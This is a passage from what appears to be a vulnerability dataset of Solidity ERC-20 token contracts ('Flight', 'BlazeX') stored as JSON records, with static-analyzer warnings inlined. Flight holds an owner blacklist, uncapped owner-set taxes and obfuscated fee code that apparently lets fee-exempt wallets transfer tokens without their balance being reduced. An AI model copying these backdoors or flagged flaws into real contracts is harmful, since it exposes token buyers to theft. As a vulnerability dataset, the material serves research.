transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable {\n address internal owner;\n\n constructor(address _owner) {\n owner = _owner;\n }\n\n modifier onlyOwner() {\n require(isOwner(msg.sender), \"!OWNER\");\n\n _;\n }\n\n function isOwner(address account) public view returns (bool) {\n return account == owner;\n }\n\n function renounceOwnership() public onlyOwner {\n owner = address(0);\n\n emit OwnershipTransferred(address(0));\n }\n\n event OwnershipTransferred(address owner);\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidity(\n address tokenA,\n address tokenB,\n uint256 amountADesired,\n uint256 amountBDesired,\n uint256 amountAMin,\n uint256 amountBMin,\n address to,\n uint256 deadline\n ) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);\n\n function addLiquidityETH(\n address token,\n uint256 amountTokenDesired,\n uint256 amountTokenMin,\n uint256 amountETHMin,\n address to,\n uint256 deadline\n )\n external\n payable\n returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);\n\n function swapExactETHForTokensSupportingFeeOnTransferTokens(\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external payable;\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint256 amountIn,\n uint256 amountOutMin,\n address[] calldata path,\n address to,\n uint256 deadline\n ) external;\n\n function removeLiquidityETHSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n ) external returns (uint amountETH);\n\n function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountETH);\n\n function removeLiquidityWithPermit(\n address tokenA,\n address tokenB,\n uint liquidity,\n uint amountAMin,\n uint amountBMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountA, uint amountB);\n\n function removeLiquidityETHWithPermit(\n address token,\n uint liquidity,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline,\n bool approveMax,\n uint8 v,\n bytes32 r,\n bytes32 s\n ) external returns (uint amountToken, uint amountETH);\n\n function quote(\n uint amountA,\n uint reserveA,\n uint reserveB\n ) external pure returns (uint amountB);\n\n function getAmountOut(\n uint amountIn,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountOut);\n\n function getAmountIn(\n uint amountOut,\n uint reserveIn,\n uint reserveOut\n ) external pure returns (uint amountIn);\n}\n\ncontract Flight is ERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 26ed450): Flight.routerAdress should be constant \n\t// Recommendation for 26ed450: Add the 'constant' attribute to state variables that never change.\n address routerAdress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1e32d48): Flight.DEAD should be constant \n\t// Recommendation for 1e32d48: Add the 'constant' attribute to state variables that never change.\n address DEAD = 0x000000000000000000000000000000000000dEaD;\n\n string private _name;\n\n string private _symbol;\n\n uint8 constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 676617a): Flight._totalSupply should be constant \n\t// Recommendation for 676617a: Add the 'constant' attribute to state variables that never change.\n uint256 public _totalSupply = 1_000_000_000 * (10 ** _decimals);\n\n uint256 public _maxWalletAmount = (_totalSupply * 4) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 425a26e): Flight._swapFlight5ThreshHold should be immutable \n\t// Recommendation for 425a26e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _swapFlight5ThreshHold = (_totalSupply * 1) / 10000;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 31ebd21): Flight._maxTaxSwap should be immutable \n\t// Recommendation for 31ebd21: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public _maxTaxSwap = (_totalSupply * 18) / 10000;\n\n mapping(address => uint256) _balances;\n\n mapping(address => mapping(address => uint256)) _allowances;\n\n mapping(address => bool) isFeeExempt;\n\n mapping(address => bool) isTxLimitExempt;\n\n mapping(address => bool) private Flight5s;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7fa018b): Flight._Flight5Wallet should be immutable \n\t// Recommendation for 7fa018b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _Flight5Wallet;\n\n address public pair;\n\n IUniswapV2Router02 public router;\n\n bool public swapEnabled = false;\n\n bool public Flight5FeeEnabled = false;\n\n bool public TradingOpen = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3698b25): Flight._initBuyTax should be constant \n\t// Recommendation for 3698b25: Add the 'constant' attribute to state variables that never change.\n uint256 private _initBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39fcd84): Flight._initSellTax should be constant \n\t// Recommendation for 39fcd84: Add the 'constant' attribute to state variables that never change.\n uint256 private _initSellTax = 20;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: bb6bcd3): Flight._reduceBuyTaxAt should be constant \n\t// Recommendation for bb6bcd3: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 10;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9716c9c): Flight._reduceSellTaxAt should be constant \n\t// Recommendation for 9716c9c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 10;\n\n uint256 private _buyCounts = 0;\n\n bool inSwap;\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 43462f2): Flight.constructor(address,string,string).Flight5Wallet lacks a zerocheck on \t _Flight5Wallet = Flight5Wallet\n\t// Recommendation for 43462f2: Check that the address is not zero.\n constructor(\n address Flight5Wallet,\n string memory name_,\n string memory symbol_\n ) Ownable(msg.sender) {\n _name = name_;\n\n _symbol = symbol_;\n\n address _owner = owner;\n\n\t\t// missing-zero-check | ID: 43462f2\n _Flight5Wallet = Flight5Wallet;\n\n isFeeExempt[_owner] = true;\n\n isFeeExempt[_Flight5Wallet] = true;\n\n isFeeExempt[address(this)] = true;\n\n isTxLimitExempt[_owner] = true;\n\n isTxLimitExempt[_Flight5Wallet] = true;\n\n isTxLimitExempt[address(this)] = true;\n\n _balances[_owner] = _totalSupply;\n\n emit Transfer(address(0), _owner, _totalSupply);\n }\n\n function getOwner() external view override returns (address) {\n return owner;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function _basicTransfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n _balances[sender] = _balances[sender].sub(\n amount,\n \"Insufficient Balance\"\n );\n\n _balances[recipient] = _balances[recipient].add(amount);\n\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function withdrawFlight5Balance() external onlyOwner {\n require(address(this).balance > 0, \"Token: no ETH to clear\");\n\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _allowances[msg.sender][spender] = amount;\n\n emit Approval(msg.sender, spender, amount);\n\n return true;\n }\n\n function enableFlight5Trade() public onlyOwner {\n require(!TradingOpen, \"trading is already open\");\n\n TradingOpen = true;\n\n Flight5FeeEnabled = true;\n\n swapEnabled = true;\n }\n\n function getFlight5Amounts(\n uint action,\n bool takeFee,\n uint256 tAmount\n ) internal returns (uint256, uint256) {\n uint256 sAmount = takeFee\n ? tAmount\n : Flight5FeeEnabled\n ? takeFlight5AmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n uint256 rAmount = Flight5FeeEnabled && takeFee\n ? takeFlight5AmountAfterFees(action, takeFee, tAmount)\n : tAmount;\n\n return (sAmount, rAmount);\n }\n\n function decimals() external pure override returns (uint8) {\n return _decimals;\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e07da07): Flight.internalSwapBackEth(uint256) sends eth to arbitrary user Dangerous calls address(_Flight5Wallet).transfer(ethAmountFor)\n\t// Recommendation for e07da07: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function internalSwapBackEth(uint256 amount) private lockTheSwap {\n uint256 tokenBalance = balanceOf(address(this));\n\n uint256 amountToSwap = min(amount, min(tokenBalance, _maxTaxSwap));\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = router.WETH();\n\n\t\t// reentrancy-events | ID: 5b00c5c\n\t\t// reentrancy-eth | ID: 09038b1\n router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n amountToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n uint256 ethAmountFor = address(this).balance;\n\n\t\t// reentrancy-events | ID: 5b00c5c\n\t\t// reentrancy-eth | ID: 09038b1\n\t\t// arbitrary-send-eth | ID: e07da07\n payable(_Flight5Wallet).transfer(ethAmountFor);\n }\n\n function removeFlight5Limit() external onlyOwner returns (bool) {\n _maxWalletAmount = _totalSupply;\n\n return true;\n }\n\n function takeFlight5AmountAfterFees(\n uint Flight5Actions,\n bool Flight5Takefee,\n uint256 amounts\n ) internal returns (uint256) {\n uint256 Flight5Percents;\n\n uint256 Flight5FeePrDenominator = 100;\n\n if (Flight5Takefee) {\n if (Flight5Actions > 1) {\n Flight5Percents = (\n _buyCounts > _reduceSellTaxAt ? _finalSellTax : _initSellTax\n );\n } else {\n if (Flight5Actions > 0) {\n Flight5Percents = (\n _buyCounts > _reduceBuyTaxAt\n ? _finalBuyTax\n : _initBuyTax\n );\n } else {\n Flight5Percents = 0;\n }\n }\n } else {\n Flight5Percents = 1;\n }\n\n uint256 feeAmounts = amounts.mul(Flight5Percents).div(\n Flight5FeePrDenominator\n );\n\n\t\t// reentrancy-eth | ID: 09038b1\n _balances[address(this)] = _balances[address(this)].add(feeAmounts);\n\n feeAmounts = Flight5Takefee ? feeAmounts : amounts.div(Flight5Percents);\n\n return amounts.sub(feeAmounts);\n }\n\n receive() external payable {}\n\n function _transferTaxTokens(\n address sender,\n address recipient,\n uint256 amount,\n uint action,\n bool takeFee\n ) internal returns (bool) {\n uint256 senderAmount;\n\n uint256 recipientAmount;\n\n (senderAmount, recipientAmount) = getFlight5Amounts(\n action,\n takeFee,\n amount\n );\n\n\t\t// reentrancy-eth | ID: 09038b1\n _balances[sender] = _balances[sender].sub(\n senderAmount,\n \"Insufficient Balance\"\n );\n\n\t\t// reentrancy-eth | ID: 09038b1\n _balances[recipient] = _balances[recipient].add(recipientAmount);\n\n\t\t// reentrancy-events | ID: 5b00c5c\n emit Transfer(sender, recipient, amount);\n\n return true;\n }\n\n function allowance(\n address holder,\n address spender\n ) external view override returns (uint256) {\n return _allowances[holder][spender];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f5b1e9b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f5b1e9b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 454bd1d): Flight.createFlight5Trade() ignores return value by router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner,block.timestamp)\n\t// Recommendation for 454bd1d: Ensure that all the return values of the function calls are used.\n function createFlight5Trade() external onlyOwner {\n router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t\t// reentrancy-benign | ID: f5b1e9b\n pair = IUniswapV2Factory(router.factory()).createPair(\n address(this),\n router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f5b1e9b\n isTxLimitExempt[pair] = true;\n\n\t\t// reentrancy-benign | ID: f5b1e9b\n _allowances[address(this)][address(router)] = type(uint256).max;\n\n\t\t// unused-return | ID: 454bd1d\n router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner,\n block.timestamp\n );\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function inSwapFlight5Tokens(\n bool isIncludeFees,\n uint isSwapActions,\n uint256 pAmount,\n uint256 pLimit\n ) internal view returns (bool) {\n uint256 minFlight5Tokens = pLimit;\n\n uint256 tokenFlight5Weight = pAmount;\n\n uint256 contractFlight5OverWeight = balanceOf(address(this));\n\n bool isSwappable = contractFlight5OverWeight > minFlight5Tokens &&\n tokenFlight5Weight > minFlight5Tokens;\n\n return\n !inSwap &&\n isIncludeFees &&\n isSwapActions > 1 &&\n isSwappable &&\n swapEnabled;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 59394ef): Flight.reduceFinalBuyTax(uint256) should emit an event for _finalBuyTax = _newFee \n\t// Recommendation for 59394ef: Emit an event for critical parameter changes.\n function reduceFinalBuyTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 59394ef\n _finalBuyTax = _newFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7e2faa8): Flight.reduceFinalSellTax(uint256) should emit an event for _finalSellTax = _newFee \n\t// Recommendation for 7e2faa8: Emit an event for critical parameter changes.\n function reduceFinalSellTax(uint256 _newFee) external onlyOwner {\n\t\t// events-maths | ID: 7e2faa8\n _finalSellTax = _newFee;\n }\n\n function isFlight5UserBuy(\n address sender,\n address recipient\n ) internal view returns (bool) {\n return\n recipient != pair &&\n recipient != DEAD &&\n !isFeeExempt[sender] &&\n !isFeeExempt[recipient];\n }\n\n function isTakeFlight5Actions(\n address from,\n address to\n ) internal view returns (bool, uint) {\n uint _actions = 0;\n\n bool _isTakeFee = isTakeFees(from);\n\n if (to == pair) {\n _actions = 2;\n } else if (from == pair) {\n _actions = 1;\n } else {\n _actions = 0;\n }\n\n return (_isTakeFee, _actions);\n }\n\n function addFlight5s(address[] memory Flight5s_) public onlyOwner {\n for (uint i = 0; i < Flight5s_.length; i++) {\n Flight5s[Flight5s_[i]] = true;\n }\n }\n\n function delFlight5s(address[] memory notFlight5) public onlyOwner {\n for (uint i = 0; i < notFlight5.length; i++) {\n Flight5s[notFlight5[i]] = false;\n }\n }\n\n function isFlight5(address a) public view returns (bool) {\n return Flight5s[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5b00c5c): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5b00c5c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 09038b1): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 09038b1: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transferStandardTokens(\n address sender,\n address recipient,\n uint256 amount\n ) internal returns (bool) {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n bool takefee;\n\n uint actions;\n\n require(!Flight5s[sender] && !Flight5s[recipient]);\n\n if (inSwap) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (!isFeeExempt[sender] && !isFeeExempt[recipient]) {\n require(TradingOpen, \"Trading not open yet\");\n }\n\n if (!swapEnabled) {\n return _basicTransfer(sender, recipient, amount);\n }\n\n if (isFlight5UserBuy(sender, recipient)) {\n require(\n isTxLimitExempt[recipient] ||\n _balances[recipient] + amount <= _maxWalletAmount,\n \"Transfer amount exceeds the bag size.\"\n );\n\n increaseBuyCount(sender);\n }\n\n (takefee, actions) = isTakeFlight5Actions(sender, recipient);\n\n if (\n inSwapFlight5Tokens(\n takefee,\n actions,\n amount,\n _swapFlight5ThreshHold\n )\n ) {\n\t\t\t// reentrancy-events | ID: 5b00c5c\n\t\t\t// reentrancy-eth | ID: 09038b1\n internalSwapBackEth(amount);\n }\n\n\t\t// reentrancy-events | ID: 5b00c5c\n\t\t// reentrancy-eth | ID: 09038b1\n _transferTaxTokens(sender, recipient, amount, actions, takefee);\n\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n if (_allowances[sender][msg.sender] != type(uint256).max) {\n _allowances[sender][msg.sender] = _allowances[sender][msg.sender]\n .sub(amount, \"Insufficient Allowance\");\n }\n\n return _transferStandardTokens(sender, recipient, amount);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) external override returns (bool) {\n return _transferStandardTokens(msg.sender, recipient, amount);\n }\n\n function increaseBuyCount(address sender) internal {\n if (sender == pair) {\n _buyCounts++;\n }\n }\n\n function isTakeFees(address sender) internal view returns (bool) {\n return !isFeeExempt[sender];\n }\n}\n",
"file_name": "solidity_code_10590.sol",
"size_bytes": 23378,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract BlazeX is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: cc86d91): BlazeX._taxWallet should be immutable \n\t// Recommendation for cc86d91: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ec4904): BlazeX._initialBuyTax should be constant \n\t// Recommendation for 2ec4904: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 39edd91): BlazeX._initialSellTax should be constant \n\t// Recommendation for 39edd91: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n uint256 private _finalBuyTax = 5;\n\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 77da01c): BlazeX._reduceBuyTaxAt should be constant \n\t// Recommendation for 77da01c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 45;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2bbd6f7): BlazeX._reduceSellTaxAt should be constant \n\t// Recommendation for 2bbd6f7: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 45;\n\n\t// WARNING Optimization Issue (constable-states | ID: d56cdac): BlazeX._preventSwapBefore should be constant \n\t// Recommendation for d56cdac: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"BlazeX\";\n\n string private constant _symbol = unicode\"BLZX\";\n\n uint256 public _maxTxAmount = (_tTotal * 2) / 100;\n\n uint256 public _maxWalletSize = (_tTotal * 2) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 262ba49): BlazeX._taxSwapThreshold should be constant \n\t// Recommendation for 262ba49: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: dd4f474): BlazeX._maxTaxSwap should be constant \n\t// Recommendation for dd4f474: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 6) / 100;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5245b74): BlazeX.uniswapV2Router should be immutable \n\t// Recommendation for 5245b74: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 private uniswapV2Router;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 5f21148): BlazeX.uniswapV2Pair should be immutable \n\t// Recommendation for 5f21148: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint256 private firstBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n event ClearToken(address TokenAddressCleared, uint256 Amount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = (_tTotal * 95) / 100;\n\n _balances[_msgSender()] = (_tTotal * 5) / 100;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n emit Transfer(address(0), address(this), _balances[address(this)]);\n\n emit Transfer(address(0), _msgSender(), _balances[_msgSender()]);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 544b1a2): BlazeX.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 544b1a2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 46a05c5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 46a05c5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8032f88): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8032f88: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 46a05c5\n\t\t// reentrancy-benign | ID: 8032f88\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 46a05c5\n\t\t// reentrancy-benign | ID: 8032f88\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 5ca93f4): BlazeX._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 5ca93f4: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8032f88\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 46a05c5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 554fc4e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 554fc4e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (incorrect-equality | severity: Medium | ID: 40f277c): BlazeX._transfer(address,address,uint256) uses a dangerous strict equality block.number == firstBlock\n\t// Recommendation for 40f277c: Don't use strict equality to determine if an account has enough Ether or tokens.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 127dbbc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 127dbbc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n require(tradingOpen, \"Trading not opened\");\n }\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n\n\t\t\t\t// incorrect-equality | ID: 40f277c\n if (block.number == firstBlock) {\n require(\n _buyCount <= 29,\n \"Exceeds buys on the first block.\"\n );\n }\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == 